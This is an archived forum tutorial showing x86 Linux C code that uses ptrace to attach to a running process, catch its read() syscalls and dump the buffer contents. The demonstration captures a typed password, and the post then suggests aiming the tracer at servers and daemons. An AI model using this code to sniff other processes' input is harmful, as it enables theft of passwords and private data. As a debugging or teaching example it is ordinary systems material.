Jump to content

cbox


[C] monitoring processes for system calls under linux


Recommended Posts

Posted

k this is actually very simple.. so.. if we have a program like:

 

#include <stdio.h>

int main(void)
 {
 char buffer[100];
 printf("password> ");
 scanf("%s",&buffer);
 }

 

and we want to capture the user input, we can use ptrace to scan the syscalls, find read() and then read in from ecx(buffer) the values we want... Of course ecx contains a memory address, but we can also use ptrace to read that... so follow the comments in the code and the example usage and it should make sense... I kept it quite short to make it even easier to follow.. more info ptrace man page. everything here is x86... in case you don't know assembler:

 

--C code---

 

read(fd,buffer,len);

 

-- asm register equivalents --

 

eax: system call(read: 3)

ebx: fd

ecx: buffer

edx: len

 

for a full list of system calls view the file

 

/usr/include/asm/unistd.h

 

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/ptrace.h>
#include <linux/user.h>

int main(int argc,char **argv)
 {
 pid_t target_pid;
 struct user_regs_struct regs;
 int status=0,t;
 long x;

 if(argc<2)
{
fprintf(stderr,"use:n  %s <pid>n",argv[0]);
exit(0);
}

 target_pid=atoi(argv[1]);

 /* attach to process */
 if(ptrace(PTRACE_ATTACH,target_pid,NULL,NULL)<0)
{
fprintf(stderr,"cannot attach to process pid: %dn",target_pid);
exit(0);
}

 for(;;)
{
/* will stop at next syscall entry or exit */
ptrace(PTRACE_SYSCALL,target_pid,NULL,NULL);

/* wait for it */
wait(&status);

/* get process registers */
ptrace(PTRACE_GETREGS,target_pid,&regs,&regs);

if(regs.orig_eax==3) /* SYS_read */
  {
  /* read in 8 bytes, sizeof(long) * 2 */
  for(t=0;t<2;t++)
	{
	/* read data from ecx, ptrace is a long function, so we recv 4 bytes at a time */
	x=ptrace(PTRACE_PEEKTEXT,target_pid,regs.ecx,NULL);

	/* print it as hex */
	printf("%x,",x);

	/* + 4 */
	regs.ecx+=4;
	}
  printf("n");
  }

if(regs.orig_eax==1) break; /* if we catch exit syscall break out of loop */
}

 /* detach from process */
 ptrace(PTRACE_DETACH,target_pid,NULL,NULL);

 return 0;
 }

 

example usage:

 

[root@localhost ~]# gcc test.c -o test
[root@localhost ~]# ./test
password> 

* it pauses, and waits for user input.. run ptrace program now *
* new shell *

[root@localhost ~]# ps -e | grep test
7222 pts/3	00:00:00 test
[root@localhost ~]# ./trace 7222
0,0,

* pauses *
* back to old shell *

password> password

* exits *
* back to ptrace shell *

73736170,64726f77,

* exits*

 

now '73736170,64726f77,' to ascii is == 'ssap,drow,' ... notice the weird way it is layed out, remember thats cus we read in 4 bytes at a time... now find some popular linux applications, mostly servers or daemons and study them a little you should be able to decode the data that goes through it..

Archived

This topic is now archived and is closed to further replies.

×
×
  • Create New...